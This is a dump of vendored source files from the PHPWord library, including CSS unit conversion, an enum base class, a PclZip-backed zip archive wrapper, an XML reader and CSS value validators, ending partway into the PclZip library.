            case \PhpOffice\PhpWord\Style\Font::FGCOLOR_LIGHTGRAY:
                return 'D3D3D3';
            case \PhpOffice\PhpWord\Style\Font::FGCOLOR_BLACK:
                return '000000';
        }

        return $value;
    }

    /**
     * Convert HTML hexadecimal to RGB.
     *
     * @param string $value HTML Color in hexadecimal
     *
     * @return array Value in RGB
     */
    public static function htmlToRgb($value)
    {
        if ($value[0] == '#') {
            $value = substr($value, 1);
        } else {
            $value = self::stringToRgb($value);
        }

        if (strlen($value) == 6) {
            [$red, $green, $blue] = [$value[0] . $value[1], $value[2] . $value[3], $value[4] . $value[5]];
        } elseif (strlen($value) == 3) {
            [$red, $green, $blue] = [$value[0] . $value[0], $value[1] . $value[1], $value[2] . $value[2]];
        } else {
            return false;
        }

        $red = ctype_xdigit($red) ? hexdec($red) : 0;
        $green = ctype_xdigit($green) ? hexdec($green) : 0;
        $blue = ctype_xdigit($blue) ? hexdec($blue) : 0;

        return [$red, $green, $blue];
    }

    /**
     * Transforms a size in CSS format (eg. 10px, 10px, ...) to points.
     *
     * @param string $value
     *
     * @return ?float
     */
    public static function cssToPoint($value)
    {
        if ($value == '0') {
            return 0;
        }
        $matches = [];
        if (preg_match('/^[+-]?([0-9]+\.?[0-9]*)?(px|em|ex|%|in|cm|mm|pt|pc)$/i', $value, $matches)) {
            $size = $matches[1];
            $unit = $matches[2];

            switch ($unit) {
                case 'pt':
                    return $size;
                case 'px':
                    return self::pixelToPoint($size);
                case 'cm':
                    return self::cmToPoint($size);
                case 'mm':
                    return self::cmToPoint($size / 10);
                case 'in':
                    return self::inchToPoint($size);
                case 'pc':
                    return self::picaToPoint($size);
            }
        }

        return null;
    }

    /**
     * Transforms a size in CSS format (eg. 10px, 10px, ...) to twips.
     *
     * @param string $value
     *
     * @return float
     */
    public static function cssToTwip($value)
    {
        return self::pointToTwip(self::cssToPoint($value));
    }

    /**
     * Transforms a size in CSS format (eg. 10px, 10px, ...) to pixel.
     *
     * @param string $value
     *
     * @return float
     */
    public static function cssToPixel($value)
    {
        return self::pointToPixel(self::cssToPoint($value));
    }

    /**
     * Transforms a size in CSS format (eg. 10px, 10px, ...) to cm.
     *
     * @param string $value
     *
     * @return float
     */
    public static function cssToCm($value)
    {
        return self::pointToCm(self::cssToPoint($value));
    }

    /**
     * Transforms a size in CSS format (eg. 10px, 10px, ...) to emu.
     *
     * @param string $value
     *
     * @return float
     */
    public static function cssToEmu($value)
    {
        return self::pointToEmu(self::cssToPoint($value));
    }
}
vendor/phpoffice/phpword/src/PhpWord/Shared/AbstractEnum.php000066600000004246151150442730020164 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Shared;

use InvalidArgumentException;
use ReflectionClass;

abstract class AbstractEnum
{
    private static $constCacheArray;

    private static function getConstants()
    {
        if (self::$constCacheArray == null) {
            self::$constCacheArray = [];
        }
        $calledClass = static::class;
        if (!array_key_exists($calledClass, self::$constCacheArray)) {
            $reflect = new ReflectionClass($calledClass);
            self::$constCacheArray[$calledClass] = $reflect->getConstants();
        }

        return self::$constCacheArray[$calledClass];
    }

    /**
     * Returns all values for this enum.
     *
     * @return array
     */
    public static function values()
    {
        return array_values(self::getConstants());
    }

    /**
     * Returns true the value is valid for this enum.
     *
     * @param string $value
     *
     * @return bool true if value is valid
     */
    public static function isValid($value)
    {
        $values = array_values(self::getConstants());

        return in_array($value, $values, true);
    }

    /**
     * Validates that the value passed is a valid value.
     *
     * @param string $value
     */
    public static function validate($value): void
    {
        if (!self::isValid($value)) {
            $calledClass = static::class;
            $values = array_values(self::getConstants());

            throw new InvalidArgumentException("$value is not a valid value for $calledClass, possible values are " . implode(', ', $values));
        }
    }
}
vendor/phpoffice/phpword/src/PhpWord/Shared/ZipArchive.php000066600000030101151150442730017625 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Shared;

use PclZip;
use PhpOffice\PhpWord\Exception\Exception;
use PhpOffice\PhpWord\Settings;
use Throwable;

/**
 * ZipArchive wrapper.
 *
 * Wraps zip archive functionality of PHP ZipArchive and PCLZip. PHP ZipArchive
 * properties and methods are bypassed and used as the model for the PCLZip
 * emulation. Only needed PHP ZipArchive features are implemented.
 *
 * @method  bool addFile(string $filename, string $localname = null)
 * @method  bool addFromString(string $localname, string $contents)
 * @method  false|string getNameIndex(int $index)
 * @method  false|int locateName(string $name)
 *
 * @since   0.10.0
 */
class ZipArchive
{
    /** @const int Flags for open method */
    const CREATE = 1; // Emulate \ZipArchive::CREATE
    const OVERWRITE = 8; // Emulate \ZipArchive::OVERWRITE

    /**
     * Number of files (emulate ZipArchive::$numFiles).
     *
     * @var int
     */
    public $numFiles = 0;

    /**
     * Archive filename (emulate ZipArchive::$filename).
     *
     * @var string
     */
    public $filename;

    /**
     * Temporary storage directory.
     *
     * @var string
     */
    private $tempDir;

    /**
     * Internal zip archive object.
     *
     * @var PclZip|\ZipArchive
     */
    private $zip;

    /**
     * Use PCLZip (default behaviour).
     *
     * @var bool
     */
    private $usePclzip = true;

    /**
     * Create new instance.
     */
    public function __construct()
    {
        $this->usePclzip = (Settings::getZipClass() != 'ZipArchive');
        if ($this->usePclzip) {
            if (!defined('PCLZIP_TEMPORARY_DIR')) {
                define('PCLZIP_TEMPORARY_DIR', Settings::getTempDir() . '/');
            }
            require_once 'PCLZip/pclzip.lib.php';
        }
    }

    /**
     * Catch function calls: pass to ZipArchive or PCLZip.
     *
     * `call_user_func_array` can only used for public function, hence the `public` in all `pcl...` methods
     *
     * @param mixed $function
     * @param mixed $args
     *
     * @return mixed
     */
    public function __call($function, $args)
    {
        // Set object and function
        $zipFunction = $function;
        if (!$this->usePclzip) {
            $zipObject = $this->zip;
        } else {
            $zipObject = $this;
            $zipFunction = "pclzip{$zipFunction}";
        }

        // Run function
        $result = false;
        if (method_exists($zipObject, $zipFunction)) {
            $result = @call_user_func_array([$zipObject, $zipFunction], $args);
        }

        return $result;
    }

    /**
     * Open a new zip archive.
     *
     * @param string $filename The file name of the ZIP archive to open
     * @param int $flags The mode to use to open the archive
     *
     * @return bool
     */
    public function open($filename, $flags = null)
    {
        $result = true;
        $this->filename = $filename;
        $this->tempDir = Settings::getTempDir();

        if (!$this->usePclzip) {
            $zip = new \ZipArchive();

            // PHP 8.1 compat - passing null as second arg to \ZipArchive::open() is deprecated
            // passing 0 achieves the same behaviour
            if ($flags === null) {
                $flags = 0;
            }

            $result = $zip->open($this->filename, $flags);

            // Scrutizer will report the property numFiles does not exist
            // See https://github.com/scrutinizer-ci/php-analyzer/issues/190
            $this->numFiles = $zip->numFiles;
        } else {
            $zip = new PclZip($this->filename);
            $zipContent = $zip->listContent();
            $this->numFiles = is_array($zipContent) ? count($zipContent) : 0;
        }
        $this->zip = $zip;

        return $result;
    }

    /**
     * Close the active archive.
     *
     * @return bool
     */
    public function close()
    {
        if (!$this->usePclzip) {
            try {
                $result = @$this->zip->close();
            } catch (Throwable $e) {
                $result = false;
            }
            if ($result === false) {
                throw new Exception("Could not close zip file {$this->filename}: ");
            }
        }

        return true;
    }

    /**
     * Extract the archive contents (emulate \ZipArchive).
     *
     * @param string $destination
     * @param array|string $entries
     *
     * @return bool
     *
     * @since 0.10.0
     */
    public function extractTo($destination, $entries = null)
    {
        if (!is_dir($destination)) {
            return false;
        }

        if (!$this->usePclzip) {
            return $this->zip->extractTo($destination, $entries);
        }

        return $this->pclzipExtractTo($destination, $entries);
    }

    /**
     * Extract file from archive by given file name (emulate \ZipArchive).
     *
     * @param  string $filename Filename for the file in zip archive
     *
     * @return string $contents File string contents
     */
    public function getFromName($filename)
    {
        if (!$this->usePclzip) {
            $contents = $this->zip->getFromName($filename);
            if ($contents === false) {
                $filename = substr($filename, 1);
                $contents = $this->zip->getFromName($filename);
            }
        } else {
            $contents = $this->pclzipGetFromName($filename);
        }

        return $contents;
    }

    /**
     * Add a new file to the zip archive (emulate \ZipArchive).
     *
     * @param string $filename Directory/Name of the file to add to the zip archive
     * @param string $localname Directory/Name of the file added to the zip
     *
     * @return bool
     */
    public function pclzipAddFile($filename, $localname = null)
    {
        /** @var PclZip $zip Type hint */
        $zip = $this->zip;

        // Bugfix GH-261 https://github.com/PHPOffice/PHPWord/pull/261
        $realpathFilename = realpath($filename);
        if ($realpathFilename !== false) {
            $filename = $realpathFilename;
        }

        $filenameParts = pathinfo($filename);
        $localnameParts = pathinfo($localname);

        // To Rename the file while adding it to the zip we
        //   need to create a temp file with the correct name
        $tempFile = false;
        if ($filenameParts['basename'] != $localnameParts['basename']) {
            $tempFile = true; // temp file created
            $temppath = $this->tempDir . DIRECTORY_SEPARATOR . $localnameParts['basename'];
            copy($filename, $temppath);
            $filename = $temppath;
            $filenameParts = pathinfo($temppath);
        }

        $pathRemoved = $filenameParts['dirname'];
        $pathAdded = $localnameParts['dirname'];

        if (!$this->usePclzip) {
            $pathAdded = $pathAdded . '/' . ltrim(str_replace('\\', '/', substr($filename, strlen($pathRemoved))), '/');
            //$res = $zip->addFile($filename, $pathAdded);
            $res = $zip->addFromString($pathAdded, file_get_contents($filename));       // addFile can't use subfolders in some cases
        } else {
            $res = $zip->add($filename, PCLZIP_OPT_REMOVE_PATH, $pathRemoved, PCLZIP_OPT_ADD_PATH, $pathAdded);
        }

        if ($tempFile) {
            // Remove temp file, if created
            unlink($this->tempDir . DIRECTORY_SEPARATOR . $localnameParts['basename']);
        }

        return $res != 0;
    }

    /**
     * Add a new file to the zip archive from a string of raw data (emulate \ZipArchive).
     *
     * @param string $localname Directory/Name of the file to add to the zip archive
     * @param string $contents String of data to add to the zip archive
     *
     * @return bool
     */
    public function pclzipAddFromString($localname, $contents)
    {
        /** @var PclZip $zip Type hint */
        $zip = $this->zip;
        $filenameParts = pathinfo($localname);

        // Write $contents to a temp file
        $handle = fopen($this->tempDir . DIRECTORY_SEPARATOR . $filenameParts['basename'], 'wb');
        fwrite($handle, $contents);
        fclose($handle);

        // Add temp file to zip
        $filename = $this->tempDir . DIRECTORY_SEPARATOR . $filenameParts['basename'];
        $pathRemoved = $this->tempDir;
        $pathAdded = $filenameParts['dirname'];

        $res = $zip->add($filename, PCLZIP_OPT_REMOVE_PATH, $pathRemoved, PCLZIP_OPT_ADD_PATH, $pathAdded);

        // Remove temp file
        @unlink($this->tempDir . DIRECTORY_SEPARATOR . $filenameParts['basename']);

        return $res != 0;
    }

    /**
     * Extract the archive contents (emulate \ZipArchive).
     *
     * @param string $destination
     * @param array|string $entries
     *
     * @return bool
     *
     * @since 0.10.0
     */
    public function pclzipExtractTo($destination, $entries = null)
    {
        /** @var PclZip $zip Type hint */
        $zip = $this->zip;

        // Extract all files
        if (null === $entries) {
            $result = $zip->extract(PCLZIP_OPT_PATH, $destination);

            return $result > 0;
        }

        // Extract by entries
        if (!is_array($entries)) {
            $entries = [$entries];
        }
        foreach ($entries as $entry) {
            $entryIndex = $this->locateName($entry);
            $result = $zip->extractByIndex($entryIndex, PCLZIP_OPT_PATH, $destination);
            if ($result <= 0) {
                return false;
            }
        }

        return true;
    }

    /**
     * Extract file from archive by given file name (emulate \ZipArchive).
     *
     * @param  string $filename Filename for the file in zip archive
     *
     * @return string $contents File string contents
     */
    public function pclzipGetFromName($filename)
    {
        /** @var PclZip $zip Type hint */
        $zip = $this->zip;
        $listIndex = $this->pclzipLocateName($filename);
        $contents = false;

        if ($listIndex !== false) {
            $extracted = $zip->extractByIndex($listIndex, PCLZIP_OPT_EXTRACT_AS_STRING);
        } else {
            $filename = substr($filename, 1);
            $listIndex = $this->pclzipLocateName($filename);
            $extracted = $zip->extractByIndex($listIndex, PCLZIP_OPT_EXTRACT_AS_STRING);
        }
        if ((is_array($extracted)) && ($extracted != 0)) {
            $contents = $extracted[0]['content'];
        }

        return $contents;
    }

    /**
     * Returns the name of an entry using its index (emulate \ZipArchive).
     *
     * @param int $index
     *
     * @return bool|string
     *
     * @since 0.10.0
     */
    public function pclzipGetNameIndex($index)
    {
        /** @var PclZip $zip Type hint */
        $zip = $this->zip;
        $list = $zip->listContent();
        if (isset($list[$index])) {
            return $list[$index]['filename'];
        }

        return false;
    }

    /**
     * Returns the index of the entry in the archive (emulate \ZipArchive).
     *
     * @param string $filename Filename for the file in zip archive
     *
     * @return false|int
     */
    public function pclzipLocateName($filename)
    {
        /** @var PclZip $zip Type hint */
        $zip = $this->zip;
        $list = $zip->listContent();
        $listCount = count($list);
        $listIndex = -1;
        for ($i = 0; $i < $listCount; ++$i) {
            if (strtolower($list[$i]['filename']) == strtolower($filename) ||
                strtolower($list[$i]['stored_filename']) == strtolower($filename)) {
                $listIndex = $i;

                break;
            }
        }

        return ($listIndex > -1) ? $listIndex : false;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Shared/XMLReader.php000066600000013350151150442730017353 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Shared;

use DOMDocument;
use DOMElement;
use DOMNodeList;
use DOMXpath;
use Exception;
use InvalidArgumentException;
use ZipArchive;

/**
 * XML Reader wrapper.
 *
 * @since   0.2.1
 */
class XMLReader
{
    /**
     * DOMDocument object.
     *
     * @var DOMDocument
     */
    private $dom;

    /**
     * DOMXpath object.
     *
     * @var DOMXpath
     */
    private $xpath;

    /**
     * Get DOMDocument from ZipArchive.
     *
     * @param string $zipFile
     * @param string $xmlFile
     *
     * @return DOMDocument|false
     */
    public function getDomFromZip($zipFile, $xmlFile)
    {
        if (file_exists($zipFile) === false) {
            throw new Exception('Cannot find archive file.');
        }

        $zip = new ZipArchive();
        $openStatus = $zip->open($zipFile);
        if ($openStatus !== true) {
            /**
             * Throw an exception since making further calls on the ZipArchive would cause a fatal error.
             * This prevents fatal errors on corrupt archives and attempts to open old "doc" files.
             */
            throw new Exception("The archive failed to load with the following error code: $openStatus");
        }

        $content = $zip->getFromName(ltrim($xmlFile, '/'));
        $zip->close();

        if ($content === false) {
            return false;
        }

        return $this->getDomFromString($content);
    }

    /**
     * Get DOMDocument from content string.
     *
     * @param string $content
     *
     * @return DOMDocument
     */
    public function getDomFromString($content)
    {
        if (\PHP_VERSION_ID < 80000) {
            $originalLibXMLEntityValue = libxml_disable_entity_loader(true);
        }
        $this->dom = new DOMDocument();
        $this->dom->loadXML($content);
        if (\PHP_VERSION_ID < 80000) {
            libxml_disable_entity_loader($originalLibXMLEntityValue);
        }

        return $this->dom;
    }

    /**
     * Get elements.
     *
     * @param string $path
     *
     * @return DOMNodeList<DOMElement>
     */
    public function getElements($path, ?DOMElement $contextNode = null)
    {
        if ($this->dom === null) {
            return new DOMNodeList(); // @phpstan-ignore-line
        }
        if ($this->xpath === null) {
            $this->xpath = new DOMXpath($this->dom);
        }

        $result = @$this->xpath->query($path, $contextNode);

        return empty($result) ? new DOMNodeList() : $result; // @phpstan-ignore-line
    }

    /**
     * Registers the namespace with the DOMXPath object.
     *
     * @param string $prefix The prefix
     * @param string $namespaceURI The URI of the namespace
     *
     * @return bool true on success or false on failure
     */
    public function registerNamespace($prefix, $namespaceURI)
    {
        if ($this->dom === null) {
            throw new InvalidArgumentException('Dom needs to be loaded before registering a namespace');
        }
        if ($this->xpath === null) {
            $this->xpath = new DOMXpath($this->dom);
        }

        return $this->xpath->registerNamespace($prefix, $namespaceURI);
    }

    /**
     * Get element.
     *
     * @param string $path
     *
     * @return null|DOMElement
     */
    public function getElement($path, ?DOMElement $contextNode = null)
    {
        $elements = $this->getElements($path, $contextNode);
        if ($elements->length > 0) {
            return $elements->item(0);
        }

        return null;
    }

    /**
     * Get element attribute.
     *
     * @param string $attribute
     * @param string $path
     *
     * @return null|string
     */
    public function getAttribute($attribute, ?DOMElement $contextNode = null, $path = null)
    {
        $return = null;
        if ($path !== null) {
            $elements = $this->getElements($path, $contextNode);
            if ($elements->length > 0) {
                /** @var DOMElement $node Type hint */
                $node = $elements->item(0);
                $return = $node->getAttribute($attribute);
            }
        } else {
            if ($contextNode !== null) {
                $return = $contextNode->getAttribute($attribute);
            }
        }

        return ($return == '') ? null : $return;
    }

    /**
     * Get element value.
     *
     * @param string $path
     *
     * @return null|string
     */
    public function getValue($path, ?DOMElement $contextNode = null)
    {
        $elements = $this->getElements($path, $contextNode);
        if ($elements->length > 0) {
            return $elements->item(0)->nodeValue;
        }

        return null;
    }

    /**
     * Count elements.
     *
     * @param string $path
     *
     * @return int
     */
    public function countElements($path, ?DOMElement $contextNode = null)
    {
        $elements = $this->getElements($path, $contextNode);

        return $elements->length;
    }

    /**
     * Element exists.
     *
     * @param string $path
     *
     * @return bool
     */
    public function elementExists($path, ?DOMElement $contextNode = null)
    {
        return $this->getElements($path, $contextNode)->length > 0;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Shared/Validate.php000066600000003615151150442730017324 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */
declare(strict_types=1);

namespace PhpOffice\PhpWord\Shared;

class Validate
{
    public const CSS_WHITESPACE = [
        'pre-wrap',
        'normal',
        'nowrap',
        'pre',
        'pre-line',
        'initial',
        'inherit',
    ];

    public const CSS_GENERICFONT = [
        'serif',
        'sans-serif',
        'monospace',
        'cursive',
        'fantasy',
        'system-ui',
        'math',
        'emoji',
        'fangsong',
    ];

    /**
     * Validate html css white-space value. It is expected that only pre-wrap and normal (default) are useful.
     *
     * @param string $value CSS White space
     *
     * @return string value if valid, empty string if not
     */
    public static function validateCSSWhiteSpace(?string $value): string
    {
        if (in_array($value, self::CSS_WHITESPACE)) {
            return $value;
        }

        return '';
    }

    /**
     * Validate generic font for fallback for html.
     *
     * @param string $value Generic font name
     *
     * @return string Value if legitimate, empty string if not
     */
    public static function validateCSSGenericFont(?string $value): string
    {
        if (in_array($value, self::CSS_GENERICFONT)) {
            return $value;
        }

        return '';
    }
}
vendor/phpoffice/phpword/src/PhpWord/Shared/PCLZip/pclzip.lib.php000066600000642452151150442730020752 0ustar00<?php
// --------------------------------------------------------------------------------
// PhpConcept Library - Zip Module 2.8.2
// --------------------------------------------------------------------------------
// License GNU/LGPL - Vincent Blavet - August 2009
// http://www.phpconcept.net
// --------------------------------------------------------------------------------
//
// Presentation :
//   PclZip is a PHP library that manage ZIP archives.
//   So far tests show that archives generated by PclZip are readable by
//   WinZip application and other tools.
//
// Description :
//   See readme.txt and http://www.phpconcept.net
//
// Warning :
//   This library and the associated files are non commercial, non professional
//   work.
//   It should not have unexpected results. However if any damage is caused by
//   this software the author can not be responsible.
//   The use of this software is at the risk of the user.
//
// --------------------------------------------------------------------------------
// $Id: pclzip.lib.php,v 1.60 2009/09/30 21:01:04 vblavet Exp $
// --------------------------------------------------------------------------------

// ----- Constants
if (!defined('PCLZIP_READ_BLOCK_SIZE')) {
    define('PCLZIP_READ_BLOCK_SIZE', 2048);
}

// ----- File list separator
// In version 1.x of PclZip, the separator for file list is a space
// (which is not a very smart choice, specifically for windows paths !).
// A better separator should be a comma (,). This constant gives you the
// abilty to change that.
// However notice that changing this value, may have impact on existing
// scripts, using space separated filenames.
// Recommanded values for compatibility with older versions :
//define( 'PCLZIP_SEPARATOR', ' ' );
// Recommanded values for smart separation of filenames.
if (!defined('PCLZIP_SEPARATOR')) {
    define('PCLZIP_SEPARATOR', ',');
}

// ----- Error configuration
// 0 : PclZip Class integrated error handling
// 1 : PclError external library error handling. By enabling this
//     you must ensure that you have included PclError library.
// [2,...] : reserved for futur use
if (!defined('PCLZIP_ERROR_EXTERNAL')) {
    define('PCLZIP_ERROR_EXTERNAL', 0);
}

// ----- Optional static temporary directory
//       By default temporary files are generated in the script current
//       path.
//       If defined :
//       - MUST BE terminated by a '/'.
//       - MUST be a valid, already created directory
//       Samples :
// define( 'PCLZIP_TEMPORARY_DIR', '/temp/' );
// define( 'PCLZIP_TEMPORARY_DIR', 'C:/Temp/' );
if (!defined('PCLZIP_TEMPORARY_DIR')) {
    define('PCLZIP_TEMPORARY_DIR', '');
}

// ----- Optional threshold ratio for use of temporary files
//       Pclzip sense the size of the file to add/extract and decide to
//       use or not temporary file. The algorythm is looking for
//       memory_limit of PHP and apply a ratio.
//       threshold = memory_limit * ratio.
//       Recommended values are under 0.5. Default 0.47.
//       Samples :
// define( 'PCLZIP_TEMPORARY_FILE_RATIO', 0.5 );
if (!defined('PCLZIP_TEMPORARY_FILE_RATIO')) {
    define('PCLZIP_TEMPORARY_FILE_RATIO', 0.47);
}

// --------------------------------------------------------------------------------
// ***** UNDER THIS LINE NOTHING NEEDS TO BE MODIFIED *****
// --------------------------------------------------------------------------------

// ----- Global variables
$g_pclzip_version = "2.8.2";

// ----- Error codes
//   -1 : Unable to open file in binary write mode
//   -2 : Unable to open file in binary read mode
//   -3 : Invalid parameters
//   -4 : File does not exist
//   -5 : Filename is too long (max. 255)
//   -6 : Not a valid zip file
//   -7 : Invalid extracted file size
//   -8 : Unable to create directory
//   -9 : Invalid archive extension
//  -10 : Invalid archive format
//  -11 : Unable to delete file (unlink)
//  -12 : Unable to rename file (rename)
//  -13 : Invalid header checksum
//  -14 : Invalid archive size
define('PCLZIP_ERR_USER_ABORTED', 2);
define('PCLZIP_ERR_NO_ERROR', 0);
define('PCLZIP_ERR_WRITE_OPEN_FAIL', -1);
define('PCLZIP_ERR_READ_OPEN_FAIL', -2);
define('PCLZIP_ERR_INVALID_PARAMETER', -3);
define('PCLZIP_ERR_MISSING_FILE', -4);
define('PCLZIP_ERR_FILENAME_TOO_LONG', -5);
define('PCLZIP_ERR_INVALID_ZIP', -6);
define('PCLZIP_ERR_BAD_EXTRACTED_FILE', -7);
define('PCLZIP_ERR_DIR_CREATE_FAIL', -8);
define('PCLZIP_ERR_BAD_EXTENSION', -9);
define('PCLZIP_ERR_BAD_FORMAT', -10);
define('PCLZIP_ERR_DELETE_FILE_FAIL', -11);
define('PCLZIP_ERR_RENAME_FILE_FAIL', -12);
define('PCLZIP_ERR_BAD_CHECKSUM', -13);
define('PCLZIP_ERR_INVALID_ARCHIVE_ZIP', -14);
define('PCLZIP_ERR_MISSING_OPTION_VALUE', -15);
define('PCLZIP_ERR_INVALID_OPTION_VALUE', -16);
define('PCLZIP_ERR_ALREADY_A_DIRECTORY', -17);
define('PCLZIP_ERR_UNSUPPORTED_COMPRESSION', -18);
define('PCLZIP_ERR_UNSUPPORTED_ENCRYPTION', -19);
define('PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE', -20);
define('PCLZIP_ERR_DIRECTORY_RESTRICTION', -21);

// ----- Options values
define('PCLZIP_OPT_PATH', 77001);
define('PCLZIP_OPT_ADD_PATH', 77002);
define('PCLZIP_OPT_REMOVE_PATH', 77003);
define('PCLZIP_OPT_REMOVE_ALL_PATH', 77004);
define('PCLZIP_OPT_SET_CHMOD', 77005);
define('PCLZIP_OPT_EXTRACT_AS_STRING', 77006);
define('PCLZIP_OPT_NO_COMPRESSION', 77007);
define('PCLZIP_OPT_BY_NAME', 77008);
define('PCLZIP_OPT_BY_INDEX', 77009);
define('PCLZIP_OPT_BY_EREG', 77010);
define('PCLZIP_OPT_BY_PREG', 77011);
define('PCLZIP_OPT_COMMENT', 77012);
define('PCLZIP_OPT_ADD_COMMENT', 77013);
define('PCLZIP_OPT_PREPEND_COMMENT', 77014);
define('PCLZIP_OPT_EXTRACT_IN_OUTPUT', 77015);
define('PCLZIP_OPT_REPLACE_NEWER', 77016);
define('PCLZIP_OPT_STOP_ON_ERROR', 77017);
// Having big trouble with crypt. Need to multiply 2 long int
// which is not correctly supported by PHP ...
//define( 'PCLZIP_OPT_CRYPT', 77018 );
define('PCLZIP_OPT_EXTRACT_DIR_RESTRICTION', 77019);
define('PCLZIP_OPT_TEMP_FILE_THRESHOLD', 77020);
define('PCLZIP_OPT_ADD_TEMP_FILE_THRESHOLD', 77020); // alias
define('PCLZIP_OPT_TEMP_FILE_ON', 77021);
define('PCLZIP_OPT_ADD_TEMP_FILE_ON', 77021); // alias
define('PCLZIP_OPT_TEMP_FILE_OFF', 77022);
define('PCLZIP_OPT_ADD_TEMP_FILE_OFF', 77022); // alias

// ----- File description attributes
define('PCLZIP_ATT_FILE_NAME', 79001);
define('PCLZIP_ATT_FILE_NEW_SHORT_NAME', 79002);
define('PCLZIP_ATT_FILE_NEW_FULL_NAME', 79003);
define('PCLZIP_ATT_FILE_MTIME', 79004);
define('PCLZIP_ATT_FILE_CONTENT', 79005);
define('PCLZIP_ATT_FILE_COMMENT', 79006);

// ----- Call backs values
define('PCLZIP_CB_PRE_EXTRACT', 78001);
define('PCLZIP_CB_POST_EXTRACT', 78002);
define('PCLZIP_CB_PRE_ADD', 78003);
define('PCLZIP_CB_POST_ADD', 78004);
/* For futur use
define( 'PCLZIP_CB_PRE_LIST', 78005 );
define( 'PCLZIP_CB_POST_LIST', 78006 );
define( 'PCLZIP_CB_PRE_DELETE', 78007 );
define( 'PCLZIP_CB_POST_DELETE', 78008 );
*/

// --------------------------------------------------------------------------------
// Class : PclZip
// Description :
//   PclZip is the class that represent a Zip archive.
//   The public methods allow the manipulation of the archive.
// Attributes :
//   Attributes must not be accessed directly.
// Methods :
//   PclZip() : Object creator
//   create() : Creates the Zip archive
//   listContent() : List the content of the Zip archive
//   extract() : Extract the content of the archive
//   properties() : List the properties of the archive
// --------------------------------------------------------------------------------
class PclZip
{
    // ----- Filename of the zip file
    public $zipname = '';

    // ----- File descriptor of the zip file
    public $zip_fd = 0;

    // ----- Internal error handling
    public $error_code = 1;
    public $error_string = '';

    // ----- Current status of the magic_quotes_runtime
    // This value store the php configuration for magic_quotes
    // The class can then disable the magic_quotes and reset it after
    public $magic_quotes_status;

    // --------------------------------------------------------------------------------
    // Function : PclZip()
    // Description :
    //   Creates a PclZip object and set the name of the associated Zip archive
    //   filename.
    //   Note that no real action is taken, if the archive does not exist it is not
    //   created. Use create() for that.
    // --------------------------------------------------------------------------------
    public function __construct($p_zipname)
    {

        // ----- Tests the zlib
        if (!function_exists('gzopen')) {
            die('Abort ' . basename(__FILE__) . ' : Missing zlib extensions');
        }

        // ----- Set the attributes
        $this->zipname             = $p_zipname;
        $this->zip_fd              = 0;
        $this->magic_quotes_status = -1;

        // ----- Return
        return;
    }
    // --------------------------------------------------------------------------------

    // --------------------------------------------------------------------------------
    // Function :
    //   create($p_filelist, $p_add_dir="", $p_remove_dir="")
    //   create($p_filelist, $p_option, $p_option_value, ...)
    // Description :
    //   This method supports two different synopsis. The first one is historical.
    //   This method creates a Zip Archive. The Zip file is created in the
    //   filesystem. The files and directories indicated in $p_filelist
    //   are added in the archive. See the parameters description for the
    //   supported format of $p_filelist.
    //   When a directory is in the list, the directory and its content is added
    //   in the archive.
    //   In this synopsis, the function takes an optional variable list of
    //   options. See bellow the supported options.
    // Parameters :
    //   $p_filelist : An array containing file or directory names, or
    //                 a string containing one filename or one directory name, or
    //                 a string containing a list of filenames and/or directory
    //                 names separated by spaces.
    //   $p_add_dir : A path to add before the real path of the archived file,
    //                in order to have it memorized in the archive.
    //   $p_remove_dir : A path to remove from the real path of the file to archive,
    //                   in order to have a shorter path memorized in the archive.
    //                   When $p_add_dir and $p_remove_dir are set, $p_remove_dir
    //                   is removed first, before $p_add_dir is added.
    // Options :
    //   PCLZIP_OPT_ADD_PATH :
    //   PCLZIP_OPT_REMOVE_PATH :
    //   PCLZIP_OPT_REMOVE_ALL_PATH :
    //   PCLZIP_OPT_COMMENT :
    //   PCLZIP_CB_PRE_ADD :
    //   PCLZIP_CB_POST_ADD :
    // Return Values :
    //   0 on failure,
    //   The list of the added files, with a status of the add action.
    //   (see PclZip::listContent() for list entry format)
    // --------------------------------------------------------------------------------
    public function create($p_filelist)
    {
        $v_result = 1;

        // ----- Reset the error handler
        $this->privErrorReset();

        // ----- Set default values
        $v_options                            = array();
        $v_options[PCLZIP_OPT_NO_COMPRESSION] = false;

        // ----- Look for variable options arguments
        $v_size = func_num_args();

        // ----- Look for arguments
        if ($v_size > 1) {
            // ----- Get the arguments
            $v_arg_list = func_get_args();

            // ----- Remove from the options list the first argument
            array_shift($v_arg_list);
            $v_size--;

            // ----- Look for first arg
